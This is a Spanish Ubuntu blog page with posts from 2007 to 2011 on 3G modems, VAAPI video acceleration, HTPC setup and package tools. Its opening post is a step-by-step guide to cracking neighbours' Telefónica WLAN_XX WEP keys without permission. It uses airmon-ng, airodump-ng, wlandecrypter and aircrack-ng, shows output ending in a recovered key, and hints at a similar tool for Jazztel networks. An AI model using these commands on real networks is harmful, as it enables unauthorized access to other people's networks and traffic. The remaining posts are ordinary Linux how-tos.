Mostrando entradas con la etiqueta Ubuntu. Mostrar todas las entradas
Mostrando entradas con la etiqueta Ubuntu. Mostrar todas las entradas

martes, 1 de febrero de 2011

Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña

   Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el modem 3G USB para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.
  • El primer paso es instalar desde los repositorios aircrack-ng. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,...
    ivan@suneo:~$ sudo apt-get install aircrack-ng
  • Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.
    ivan@suneo:~$ sudo airmon-ng start wlan0

    Interface Chipset Driver

    wlan0 Intel 3945ABG iwl3945 - [phy0]
    (monitor mode enabled on mon0)
  • La tarjeta wifi ya está en modo monitor, en este caso en el interfaz mon0. Éste será el que utilizaremos para capturar el tráfico.
    ivan@suneo:~$ sudo airodump-ng -w packets mon0

    CH 1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:01:38:DF:ED:AE -68 3193 6 0 6 54 . WEP WEP WLAN_B8
    00:1A:4D:22:45:81 -84 486 213 0 7 54e. OPN tcc-hotspot-escuera
    00:1F:3F:A3:C7:39 -90 52 0 0 6 54 WEP WEP Harry Mehlitz
    00:1A:2B:5C:57:76 -87 288 4 0 11 54 WEP WEP JAZZTEL_47
    00:1A:2B:01:AC:A0 -83 829 0 0 3 54 WEP WEP WLAN_E9
    00:0C:F6:82:44:50 -84 507 3 0 11 54e. WPA TKIP PSK Sitecom824450

    BSSID STATION PWR Rate Lost Packets Probes

    (not associated) 00:13:CE:6A:1B:14 -89 0 - 1 0 138 MI_CASA,WLAN_4B,1234567891234567891234567891
    (not associated) 00:1A:EF:05:17:2D -89 0 - 1 0 5 WLAN_4D
    00:01:38:DF:ED:AE 00:1F:3C:E1:95:C5 0 6 - 1 0 876 WLAN_B8
    00:1A:2B:5C:57:76 00:22:43:65:1E:C6 -84 0 - 1 0 5 JAZZTEL_47
    00:1A:2B:5C:57:76 00:16:EA:35:DD:D4 -85 0 - 1 0 3
  • He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo packets. La columna importante es #Data: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.

  •    Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
    En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.
    ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt

    wlandecrypter v1.3.1 (2010/04/21)

    [+] BSSID: 00:01:38:XX:XX:XX
    [+] Modelo: Xavi 7768r
    [+] Generando fichero de claves: dic_WLANB8.txt.kk
    [+] Fichero guardado OK
    [+] Generadas 65536 claves (896 KB)
    [+] Proceso finalizado con exito

       Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
       Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.
    ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap

    Opening packets-01.cap
    Reading packets, please wait...

    Aircrack-ng 1.0


    [00:00:00] Tested 3873 keys (got 6 IVs)

    KB depth byte(vote)
    0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)

    KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
    Decrypted correctly: 100%

       Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
       P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)

    miércoles, 11 de agosto de 2010

    Conexión 3G con Ubuntu

       Hace unos meses compré un modem USB 3G de Carrefour móvil. La oferta era muy buena y no quería dejar pasar la oportunidad: Modem 3G USB HUAWEI E156G libre, tarjeta carrefour móvil con 5€ de saldo y tarifa diaria de 1€ sin límite de velocidad hasta 100 MB y luego con velocidad reducida. Todo por tan sólo 29€.

       Lo primero que hice cuando llegué a casa fue probarlo con una tarjeta Simyo que tengo (no quería probarlo con la tarjeta de carrefour para no desperdiciar un día de la conexión). Conecté el modem al portatil (con Ubuntu 10.04, por supuesto) y éste lo reconoció sin problemas:
    ivan@suneo:~$ tail /var/log/messages
    Aug 11 22:43:56 suneo kernel: [ 447.944954] option 2-2:1.0: GSM modem (1-port) converter detected
    Aug 11 22:43:56 suneo kernel: [ 447.945320] usb 2-2: GSM modem (1-port) converter now attached to ttyUSB0

       El asistente de configuración no puede ser más fácil, sencillo e intuitivo. Hacemos click con el botón derecho en el icono del network manager y añadimos una nueva conexión Mobile, seleccionamos el dispositivo, el país, nuestro operador y finalizamos.




    Ahora ya nos podemos conectar. Elegimos la conexión que acabamos de crear, esperamos unos segundos a que se establezca y ya podemos navegador.

    ¿Quién dijo que configurar las cosas en linux era difícil?.

       En el caso de querer utilizar la tarjeta de Carrefour móvil el procedimiento es el mismo pero como éste no aparece en la lista de proveedores, deberemos configurarlo a mano. Sólo tenemos que introducir CARREFOURINTERNET como APN y listo, conexión configurada y lista para ser utilizada.

    domingo, 1 de agosto de 2010

    Acelerando video en alta definición H.264 por hardware en Ubuntu 10.04 con ATI

       Desde que monté el HTPC una de las cosas que siempre quise hacer fue acelerar por hardware los vídeos H.264. Todas las series que descargo (que son bastantes) intento que estén siempre en 720p puesto que además de la calidad adicional respecto al divx estándar, también viene con sonido 5.1, por lo que la sensación final es mucho mejor.
       Así, quería poder acelerar el video sin tener que tirar de cpu. Cuando tenía instalado windows xp en el HTPC lo intenté siguiendo varias guías y tutoriales y también con distintos programas, pero al final no fui capaz de conseguirlo. Desde que instalé Ubuntu en el HTPC la cosa ha cambiado. Mi placa base lleva integrada una ATI HD3200, que, aunque es algo modesta y para juegos seguro que se queda corta, permite acelerar vídeos en alta definición. Para ello vamos a utilizar las librerías VAAPI (Video Aceleration API) que son el equivalente para ATI de las famosas VDPAU de NVidia. Además, como no podría ser de otra forma, el reproductor será mplayer. Veamos cómo lo he conseguido.

    Instalando el driver propietario de ATI
       Utilizaremos la última versión de los drivers propietarios de ATI para Linux. En Ubuntu 10.04 sólo funcionan los drivers a partir de la versión 10.4. Por suerte, cuando salió la última versión de Ubuntu, en ATI se pusieron las pilas y al día siguiente ya habían liberado los drivers. Parece que por fin nos van teniendo en cuenta a los usuarios de Linux.
       Actualmente la última versión disponible para mi tarjeta es la 10.7. La descargamos, en mi caso la versión de 64 bits, y la instalamos sin mayor complicación con:
    $ sudo ./ati-driver-installer-10-7-x86.x86_64.run


    Instalando las librerías VAAPI
       Como hemos comentado, para conseguir la aceleración por GPU vamos a usar VAAPI. En la web http://www.splitted-desktop.com/~gbeauchesne/ nos tenemos que bajar las últimas versiones disponibles de: libva, libva-dev, libva-dbg y xvba-video
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva-dev_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1-dbg_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/xvba-video/xvba-video_0.7.2-1_amd64.deb
    Instalamos los paquetes que acabamos de descargar:
    $ sudo dpkg -i libva* xvba-video_0.7.2-1_amd64.deb


    Compilando mplayer con soporte VAAPI
       Aunque no es estrictamente necesario, sí es recomendable instalar primero la versión existente en los repositorios de Ubuntu. Así, el sistema sabrá que está instalado y nos permitirá instalar complementos como la interfaz gráfica SMPlayer.
       Antes de poder compilar mplayer tendremos que descargar todas las librerías y paquetes xxxx-dev necesarios. Para ello ejecutamos lo siguiente. En mi caso se descargaron 112 paquetes, pero esto puede variar de un sistema a otro en función de lo que tengamos instalado previamente.
    $ sudo apt-get build-dep mplayer
       Aunque la compilación de mplayer puede parecer algo complejo, realmente es muy sencilla. Lo que realmente nos vamos a descargar es un script y unos parches para mplayer. Descargamos la última versión disponible en http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/.
    $ wget http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/mplayer-vaapi-20100713.tar.bz2

    $ bunzip2 mplayer-vaapi-20100713.tar.bz2
    $ tar xvf mplayer-vaapi-20100713.tar
    mplayer-vaapi-20100713/
    mplayer-vaapi-20100713/patches/
    mplayer-vaapi-20100713/patches/mplayer-vaapi-gma500-workaround.patch
    mplayer-vaapi-20100713/patches/mplayer-vdpau.patch
    mplayer-vaapi-20100713/patches/mplayer-vaapi.patch
    mplayer-vaapi-20100713/patches/mplayer-vaapi-0.29.patch
    mplayer-vaapi-20100713/checkout-patch-build.sh
    mplayer-vaapi-20100713/README.txt
    mplayer-vaapi-20100713/NEWS
       Ejecutamos el script que se encarga de todo. Descarga de los subversions las versiones adecuadas de mplayer, ffmpeg y dvdnav, las parchea y finalmente las compila. Si hemos ejecutado todos los pasos anteriores deberíamos tener todas las dependencias satifeschas y la compilación no debería fallar. Esperamos a que termine ya que tardará más o menos en función de la potencia de la máquina.
    $ ./checkout-patch-build.sh
    Ahora tendremos un directorio llamado mplayer-vaapi en el que estará disponible nuestra propia versión de mplayer.


    Probando a vídeos con aceleración y sin ella
       Para hacer la prueba voy a utilizar un capítulo de Lost en 720p. Primero vamos a hacer una prueba sin acelerar ejecutando simplemente:
    $ ./mplayer Lost.S06E01-02.720p.mkv
    ...
    VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)
    ==========================================================================
    Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
    Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
    ==========================================================================
    Starting playback...
    Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
    VO: [xv] 1280x720 => 1280x720 Planar YV12
       Si ahora hacemos lo mismo pero utilizamos VAAPI vemos en la salida de mplayer que estamos usando las librerías para la aceleración.
    $ ./mplayer -vo vaapi -va vaapi Lost.S06E01-02.720p.mkv
    ...
    VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)
    libva: libva version 0.31.1-sds1
    Xlib: extension "XFree86-DRI" missing on display ":0.0".
    libva: va_getDriverName() returns 0
    libva: Trying to open /usr/lib/va/drivers/fglrx_drv_video.so
    libva: va_openDriver() returns 0
    ==========================================================================
    Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
    [VD_FFMPEG] VA API accelerated codec.
    Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
    ==========================================================================
    VO: [vaapi] 1280x720 => 1280x720 H.264 VA-API Acceleration
    [VD_FFMPEG] XVMC-accelerated MPEG-2.
       Para que se vea de una manera más gráfica la diferencia de consumo de CPU, con el comando pidstat tomé muestras del consumo de mplayer en ambos casos.

       Como vemos la diferencia en ambos casos del uso de CPU es brutal, algo esperado porque quien realmente está decodificando el vídeo en el caso de VAAPI es la GPU.

       Finalmente, copiamos mplayer a su ubicación definitiva para poder ejecutarlo desde cualquier sitio. Con esto reemplazaremos los binarios que instalamos desde los repositorios.
    $ sudo make install
    install -d /usr/local/bin /usr/local/etc/mplayer /usr/local/lib
    install -m 755 -s mencoder /usr/local/bin
    install -d /usr/local/share/man/man1
    install -m 644 DOCS/man/en/mplayer.1 /usr/local/share/man/man1/
    cd /usr/local/share/man/man1 && ln -sf mplayer.1 mencoder.1
    install -m 755 -s mplayer /usr/local/bin


    Automatizando los parámetros de mplayer
       Ahora ya sabemos cómo acelerar los vídeos por hardware pero es una tarea un poco pesada tener que pasar todos los parámetros de mplayer para cada vídeo. Además, en mi caso, no estoy utilizando la salida de audio mini-jack de la placa base, sino que uso la salida óptica S/PDIF. Para conseguir que mplayer saque el audio por ese conector, también debemos indicárselo.
       Mostramos un listado de los dispositivos hardware capaces de reproducir audio para ver cual es que nos interesa.
    $ aplay -l
    **** List of PLAYBACK Hardware Devices ****
    card 0: SB [HDA ATI SB], device 0: ALC889A Analog [ALC889A Analog]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
    card 0: SB [HDA ATI SB], device 1: ALC889A Digital [ALC889A Digital]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
    card 1: HDMI [HDA ATI HDMI], device 3: ATI HDMI [ATI HDMI]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
       Así, debemos ejecutar mplayer indicando la tarjeta y el dispositivo que queremos utilizar para sacar el audio. Adicionalmente también le forzamos el audio AC3:
    $ mplayer -ao alsa:device=hw=0.1 -ac hwac3 -vo vaapi -va vaapi pelicula.mvk
       Si hubiera querido que el audio saliera directamente por el conector HDMI que va a la tele, las opciones que tendría que haber puesto en mplayer serían: -ao alsa:device=hw=1.3
       Esto cada vez crece más. Si antes teníamos que poner las opciones para el soporte vaapi, ahora adicionalmente tenemos que poner también la salida por S/PDIF. Para nuestra comodidad podemos añadir todas estas opciones al archivo de configuración de mplayer.
    $ cat /home/ivan/.mplayer/config
    # Write your default config options here!
    # Salida por S/PDIF
    ao=alsa:device=hw=0.1,
    # Forzar audio a AC3
    ac=hwac3
    # Aceleración HW
    vo=vaapi
    va=vaapi
       De esta sólo tenemos que ejecutar
    $ mplayer pelicula.mkv
    y tendremos la salida de audio por S/PDIF y la aceleración por hardware habilitada.


    ¿Y por qué no usar VLC?
       Hace un par de semanas se ha liberado la versión 1.1.1 de VLC con soporte VAAPI. Si queréis instalarlo podéis seguir estas instrucciones. Simplemente consiste en añadir un nuevo repositorio e instalar VLC desde él. Aún así esta versión no está compilada con soporte VAAPI. También nos podemos descargar una versión con el soporte vaapi habilitado, pero según podemos leer en el enlace anterior, se "romperán" el resto de reproductores de video y paquetes que utilicen la versión de ffmpeg de los repositorios de Ubuntu. La única solución sería recompilarlos todos contra la nuevas versión de ffmpeg.
    Now, regarding vaapi (GPU acceleration): you basically can't compile VLC 1.1.0 with vaapi support without breaking stuff. To get it to work with vaapi, it would need newer ffmpeg packages which would mean every package using the ffmpeg packages in the Ubuntu official repository would be broken unless it is compiled against the same ffmpeg package (so you would need to either compile every package that uses ffmpeg yourself or a PPA should package all these packages - which is practically impossible).

    There is a PPA which packages VLC 1.1.0 with vaapi support as well as fixed mplayer to work with the new ffmpeg/gstreamer. But since this PPA only has VLC and mplayer, it means that other video players / video editors will stop working if you use the following PPA and for this reason I won't post instructions for installing it here. You can however find both the PPA and exact instructions for installing VLC 1.1.0 with vaapi support, HERE. Remember: using it, a lot of applications will be broken! Also, the VLC package in the Cutting Edge Multimedia PPA (not the C-Korn PPA we posted in the begining of the post - that's stable and doesn't break anything!) doesn't yet have the latest VLC 1.1.0 but a GIT version dating back to June 16 - that's still very close to the final version.
       Así que nada. Tendremos que esperar a que se actualicen todos los programas de los repos antes de poder probar la aceleración hardware con VLC.


    Conclusiones
       Sabía que acelerar los vídeos por GPU iba a suponer que la CPU prácticamente estuviera descansando, aún así el resultado me ha sorprendido gratamente. Además, por fin parece que ATI proporciona unos drivers que funcionan en Linux. Son propietarios y cerrados y sería estupendo que fueran libres, pero al menos, los que decidimos apostar por ATI y Linux no nos sentimos abandonados como hace unos años cuando ATI en Linux era sinónimo de problemas y quebraderos de cabeza. Aún recuerdo cuando monté mi ordenador "de sobremesa" hace ya más de tres años, que elegí una NVidia sin dudarlo por la multitud de problemas que había con ATI en Linux. En fin, los tiempos cambian, por fortuna a mejor, para los usuarios de Linux :-).

    jueves, 1 de julio de 2010

    Ubuntu en el HTPC. ¡Ahora sí!

       Hace prácticamente un año que escribí el artículo HTPC para el salón. En él comentaba que había montado un HTPC y que le había instalado Windows XP, pero que había dejado una partición para Linux. Además, probé un live-cd de Ubuntu pero no me llegó a ir del todo bien y al final lo fui dejando pasar.

       Resulta, que como siempre pasa en Windows con el paso del tiempo, el sistema se va degradando y deja de funcionar. Es algo que me extrañó porque en el HTPC no instalaba nada, sólo lo mínimo imprescindible para funcionar y para que el ordenador arrancase rápido. Aún así, hace unos 3-4 meses empezó a resetearse de vez en cuando sin motivo aparente. Así que cogí un live-cd de Ubuntu 9.10, lo instalé y me puse a configurarlo. Después de pegarme bastante, al final logré dejar todo funcionando, incluso sacando el audio por la salida óptica enganchada al ampli en 5.1 :-D. Luego, después de que saliera Ubuntu 10.04, formatee, instalé todo de cero y configuré de nuevo (esta vez fue todo más rápido y sencillo).

        Después de llevar utilizando Ubuntu como media center estos últimos meses he de decir que no tiene nada que envidiar a Windows. Todos los codecs funcionan, el audio en 5.1 sin problemas e incluso la aceleración de videos en HD, algo que cuando arrancaba con windows nunca fui capaz de conseguir. Pero esto tendrá que esperar a la siguiente entrada...

    Actualización: Como dice luischenco en los comentarios, ni siquiera he contado el software que estoy utilizando. La verdad es que no estoy utilizando ninguno!. Me explico. He probado XBMC y Boxee y ninguno me ha terminado de convencer. Sí, son muy bonitos y están muy bien hechos, pero no son para mi. Yo el htpc lo utilizo como "almacen temporal" de pelis y series, no las guardo para siempre, por lo que no necesito tener las carátulas, la sinopsis, la información de los actores,... Como he dicho, es muy chulo, pero nada más. En el htpc no tengo música, ni fotos y nada más, sólo series y pelis (y dibus para Judith), por lo que todo eso no me aporta nada.
    El software que utilizo: 3 accesos directos en el escritorio a las pelis, series y dibujos, y luego doble-clic en el archivo que quiero abrir, así de sencillo. Por defecto se abre con VLC y si quiero aceleración hardware lo lanzo con mplayer desde línea de comandos. Así de simple.

    miércoles, 7 de mayo de 2008

    Actualizando a Hardy Heron

       Por fin he tenido tiempo para actualizar mi versión de Ubuntu a Hardy Heron. Después de más de 1 Gbyte de paquetes para descargar y casi 2 horas actualizando, reinicié la máquina y tuve el primer fallo. Me cargaba el entorno gráfico pero nunca salía la ventana de login, se quedaba el reloj dando vueltas y vueltas. Lo primero que se me ocurrió fue cambiarme de terminal con CRTL + ALT + F1, conectarme con mi usuario y reiniciar GDM. El resultado fue el mismo. Lo siguiente fue pararlo y entrar en modo gráfico con el mítico startx. En ese caso sí arrancaba y todo funcionaba a la perfección. El error sólo podía ser del GDM, así que después de buscar un rato llegué a este enlace en el que a más gente le ocurría lo mismo. Al final, la solución la encontré aquí. Finalmente, lo que pasaba era que había un problema con el paquete ubuntu-gdm-themes y no funcionaba correctamente con algunas configuraciones. En mi caso era porque tenía instalado un tema para el gdm distinto al original y parecía que no era compatible. Lo arreglé y cambié el tema y todo solucionado.

       Otro pequeño problema ha sido con Firefox 3. La versión que han incluído por defecto en Hardy ha sido la beta 5, lo que desde mi punto de vista no ha sido muy acertado. La he probado un rato y se nota la velocidad, pero la mayoría de las extensiones que utilizo no funcionan todavía en firefox 3, por lo que he tenido que desinstalar ésta e instalar la antigua 2.0.0.14.

       El resto han sido todo cosas buenas. Noto que el sistema va mucho más ligero y fluído. Los programas cargan antes y todo es mucho más rápido en general. Además la nueva versión de CompizFusion es rápida y estable y ha solucionado un pequeño problema que tenía con la versión anterior que no me guardaba algunos cambios. A falta de trabajar más días con esta nueva versión, mis primeras impresiones son muy satisfactorias y se ha mejorado bastante respecto a gutsy. Ahora ya sólo me queda compilar el kernel a mi gusto, probar la webcam usb, el infrarrojo y terminar de afinar un poco la configuración para dejarlo todo adaptado a mi gusto.

    lunes, 24 de marzo de 2008

    Un escritorio diferente

       El otro día toqué por primera vez un windows vista. Un compañero del trabajo se compró un portatil nuevo y se lo llevó para enseñárnoslo. Quise ver el nuevo interfaz Aero y la verdad es que me pareció muy básico y pobre. Les comenté a mis compañeros que iba a hacer un video de mi escritorio de Linux para que vieran unos efectos de verdad con CompizFusion y sin necesidad de una máquina y una gráfica muy potentes. Sin más, este es el video:



       Sé que muchos de estos efectos son pijadas, pero hay muchas opciones que son realmente útiles y sí que aumentan la productividad a la hora de trabajar.

       Por supuesto todo el proceso de realización del video está realizado con software libre. La grabación la he hecho con XVidCap, para el montaje he utilizado KDEnlive y para añadir la música y redimensionar el video final mencoder.

    miércoles, 20 de febrero de 2008

    Crear paquetes deb desde otros formatos

       Cuando utilizaba RedHat, SuSE o Slackware hace algún tiempo para probar y cacharrear o simplemente para hacer las prácticas de la facultad y tenía que instalar algún programa no tenía ningún problema en compilarlo e instalarlo "a lo loco" e incluso trabajar como root. Por aquel entonces, aunque linux me gustaba sólo lo utilizaba como una ayuda durante la carrera para no tener que pasarme las horas en el centro de cálculo pegándome por un terminal VT100 de fósforo verde que me destrozaba la vista. Qué tiempos aquellos... y eso que "sólo" han pasado 10 años desde aquel 1997 en que empecé la carrera (que por cierto ya terminé).

       En fin, que compilaba, hacía make install y no me preocupaba de desinstalar ni de cómo podía quedar el sistema después de eso (total, lo reinstala y punto, no me suponía demasiado). Ahora, desde que utilizo linux como mi sistema operativo principal me preocupa que si me pongo a compilar e instalar compulsivamente o simplemente quiero probar algo, luego me resulte complicado mantener el control de lo que está instalado, desinstalarlo con facilidad,... Aunque con el magnífico apt este problema desaparece para cualquier paquete que descarguemos, en el caso de las compilaciones o de utilidades de las que no existan paquetes .deb la cosa es más compleja. Así, he descubierto un par de utilidades que me van a hacer la vida aún más fácil: alien y checkinstall.

    Alien: En ocasiones no hay paquetes en formato .deb pero sin embargo sí existen en formato .rpm. Con esta utilidad los podemos convertir a nuestro formato favorito.

    Checkinstall: Cuando compilamos un programa, el paso final suele ser make install que instala los binarios, las librerías, la ayuda del man,... En muy pocas ocasiones viene con un target uninstall del make, por lo que una posterior tarea de desinstalación suele ser algo tediosa. Checkinstall sirve para crear paquetes .deb a partir del código compilado, por lo que si posteriormente queremos desinstalar algo sólo hay que hacer un simple apt-get remove paquete.
  • Instalarlos es algo tan sencillo como:
    ivan@doraemon:~$ sudo apt-get install checkinstall alien

  • Para convertir los paquetes con alien hacemos:
    ivan@doraemon:~$ sudo alien -d paquete.rpm
  • Y una vez convertido lo podemos instalar como siempre:
    ivan@doraemon:~$ sudo dpkg -i paquete.deb

  • Si por el contrario tenemos el código fuente para compilarlo utilizaremos checkinstall, para ello hacemos:
    ivan@doraemon:~$ tar zxvf paquete.tar.gz
    ivan@doraemon:~$ cd paquete
    ivan@doraemon:~/paquete $ ./configure
    ivan@doraemon:~/paquete $ make
    ivan@doraemon:~/paquete $ sudo checkinstall
  • Y después de unas cuantas preguntas tendremos creado nuestro paquete.deb listo para instalar y mantener.
  • viernes, 2 de noviembre de 2007

    Actualizando versión de Linux: ¡Aprende Windows!

       Hace un par de semanas he actualizado mi Ubuntu Feisty a Gutsy y la verdad es que ha sido mucho mejor de lo que yo me esperaba y para nada traumático.

       Al principio me planteé formatear e instalar de cero y posteriormente recuperar todos mis datos del backup. Esta es la mentalidad windows: hay que instalar el sistema operativo de cero y nada de actualizar porque sino se quedan versiones antiguas y hay problemas e incompatibilidades. Pero esto no es windows, sino Linux, así que preferí actualizar mi sistema a ver qué ocurría. Ejecuté el update-manager y comencé la actualización a Gutsy Gibbon. En total se descargaron algo más de 1 Gbyte de paquetes, luego reinicié, instalé los drivers de nvidia y listo. En poco más de 2 horas tenía mi linux actualizado a la última versión de Ubuntu y con todas mis opciones de configuración almacenadas y funcionando sin ningún problema. Luego sólo tuve que configurar Compiz Fusion (hasta ahora tenía Beryl) y listo, el escritorio como lo tenía antes e incluso con efectos más chulos.

       En definitiva, que de nuevo me reafirmo en la elección que hice a principios de mayo de este año eligiendo linux como mi nuevo sistema operativo para (casi, sniff) todo.

    viernes, 5 de octubre de 2007

    La gran comunidad Linux

       Otra de las cosas que aún no puedo hacer con linux es utilizar mi receptor infrarrojos usb para pasar canciones o fotos a mi móvil, así que tengo que usar nuevamente windows :-(.

       Una de las grandes ventajas de Linux y su gran comunidad de desarrolladores que hay detrás es que puedes abrir un bug y esperar a que alguien lo resuelva. Eso es lo que hice y se puede ver aquí (no vale reirse de mi inglés). Aunque han tardado más de un mes en mirarlo, me han dado las gracias por abrir el bug, pero como no es nada importante está parado. ¿Gracias a mi?. No, gracias a vosotros que hacéis posible que exista este sistema operativo que poco a poco nos está liberando del que llevamos tanto tiempo arrastrando.

       Ahora sólo queda esperar a que alguien lo arregle, aunque con la inminente salida de la próxima versión de Ubuntu para el 18 de este mes, con nueva versión del kernel incluída (2.6.22), es probable que se haya corregido. Y si no, pues a reabrirlo de nuevo porque desgraciadamente mis conocimientos de programación no llegan al nivel para poder arreglarlo yo mismo.

       ¿No es mágnifico poder abrir un bug del sistema operativo y que alguien lo pueda arreglar sin depender de una "megacorporación"?.

    lunes, 3 de septiembre de 2007

    Usuario de Ubuntu

       Hace un tiempo descubrí la web The Ubuntu Counter Project, que está basada en Linux Counter y sirve para poder darte de alta como usuario de Ubuntu. Así que nada, desde hoy soy el usuario registrado número 15006 de Ubuntu, más concretamente de Feisty Fawn como ya sabéis.

       Aunque la web es casi una mera anécdota y obviamente hay muchísima más gente que usa cualquier distribución basada en Ubuntu y también hay mucha gente que se registra y lo más que prueba es un Live-CD, siempre están bien páginas como esta. Yo hace ya muchos años que me registré en Linux Counter, pero perdí mi registro :-(, aunque ahora es cuando por fin he dado el paso para dejar windows. Qué lejos queda mi segundo post en este blog del 4 de julio de 2005 en que el que contaba mi intención de cambiar de windows a linux...

    The Ubuntu Counter Project - user number # 15006

    miércoles, 2 de mayo de 2007

    Migración a Linux

       Llevo ya dos semanas trabajando en casa casi exclusivamente con linux, más concretamente con Ubuntu 7.04 Feisty Fawn. Durante este tiempo estoy intentando adaptarme al nuevo sistema operativo, instalando los programas que necesito, buscando sustitutos a las aplicaciones windows que utilizaba,... De momento la transición está yendo mejor de lo que pensaba.

       La instalación fue de lo más sencillo y no presentó ninguna complicación. Después, instalé los drivers de la tarjeta nvidia y posteriormente, con un simple apt-get instalé beryl sin ningún esfuerzo. La verdad es que aunque había visto bastantes videos en youtube de lo que se podía hacer me ha dejado gratamente impresionado. El cubo es chulísimo y los efectos al maximizar, desplazar, minimizar,... las ventanas están muy logrados. Además, lo mejor es que aún está en la versión 0.2, por lo que cuando llegue a la 1.0 va a ser increíble.


       En windows me gusta tener en la barra de tareas la monitorización de las temperaturas del sistema para controlar cómo está todo. Después de buscar algo similar para linux me encontré con lm-sensors, hddtemp y unos applets para el panel de gnome que hacen de interfaz y muestran las temperaturas. De nuevo, todo fue muy sencillo y leyendo un par de tutoriales no tuve ningún problema en configurar todo. Aún estoy buscando la forma de poder mostrar la temperatura de la tarjeta gráfica sin tener que arrancar la utilidad nvidia-settings, aunque tampoco es crítico para mi.

       Otro aspecto que me ha gustado ha sido la facilidad para utilizar los archivos de video y música. Das doble click a un divx, aparece un mensaje indicando que no tienes los codecs instalados, aceptas y automáticamente se descargan, se configuran y listo, a ver la serie. Lo mismo ocurre con la música, automáticamente se ha descargado los codecs MP3 necesarios para poder escuchar las canciones.

       Me he hecho una lista de los programas que utilizo en windows para buscar un sustituto. Así, ya utilizo VLC para ver los videos, Gaim como gestor de mensajería para conectarme a GoogleTalk, Gthumb para ver fotos, OpenOffice, Gimp,... y así poco a poco voy probando nuevos programas y quedándome con los que más me gustan.

